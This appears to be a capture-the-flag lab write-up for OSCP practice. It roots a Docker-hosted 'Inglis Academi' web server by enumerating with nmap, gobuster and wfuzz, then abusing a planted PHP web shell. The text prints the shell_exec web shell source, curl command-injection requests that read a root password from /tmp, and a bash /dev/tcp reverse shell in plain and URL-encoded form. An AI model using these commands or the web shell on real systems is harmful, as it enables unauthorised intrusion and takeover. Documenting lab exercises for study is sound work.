Penetration Testing Writeup for OSCP

Nmap Scan

First, I performed a service version detection scan on the target IP using Nmap:

```bash
nmap -sCV $IP -oN nmap -Pn -p80
```

Nmap Results:

```
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Academia de Inglés (Inglis Academi)
```

Web Enumeration

Next, I used WhatWeb to gather more information about the web server:

```bash
whatweb http://$IP
```

```

### WhatWeb Results:

```
http://172.17.0.2 [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Academia de Inglés (Inglis Academi)]
```

### Page Source:

The web page source revealed a hidden message indicating the presence of a file in the `/tmp` directory:

```html
<p>¡Contáctanos hoy mismo para más información sobre nuestros programas de enseñanza de inglés!. Guardo un secretito en /tmp ;)</p>
```

Directory Brute Force

To find hidden directories, I used Gobuster:

```bash
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt,html
```
```

```

### Gobuster Results:

```
/shell.php
```

## Fuzzing Parameters

To identify potential parameters for the `shell.php` file, I used Wfuzz:

```bash
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hc 500 http://$IP/shell.php?FUZZ=id
```

Wfuzz Results:

The parameter `parameter` was identified as a potential entry point for command injection.

Exploiting Command Injection

The `shell.php` file contained the following code, which allowed for command injection:

```php

```
<?php

echo "

" . shell_exec($_REQUEST['parameter']) . "

";

?>
```

I used `curl` to execute commands via this parameter:

Listing `/tmp` Directory:

```bash
curl http://$IP/shell.php?parameter=ls+-la+/tmp
```

Result:

```
we see a file named .secret.txt
```

Reading the Secret File:

```bash
curl http://$IP/shell.php?parameter=cat+/tmp/.secret.txt
```

Result:

```
contraseñaderoot123
```

Reverse Shell

To gain a reverse shell, I encoded a bash reverse shell command:

Reverse Shell Command:

```bash
bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'
```

URL Encoded Command:

```bash
urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'"
```

Result:

```
```

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F443%200%3E%261%27

```

### Executing Reverse Shell:

```bash
curl http://$IP/shell.php?parameter=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F443%200%3E%261%27
```

Privilege Escalation

I switched to the root user using the obtained password:

```bash
su root
Password: contraseñaderoot123
```

Conclusion

By following the steps outlined above, I was able to successfully enumerate, exploit, and escalate privileges on the target system. This writeup provides a comprehensive overview of the penetration testing process used to achieve root access on the machine.
```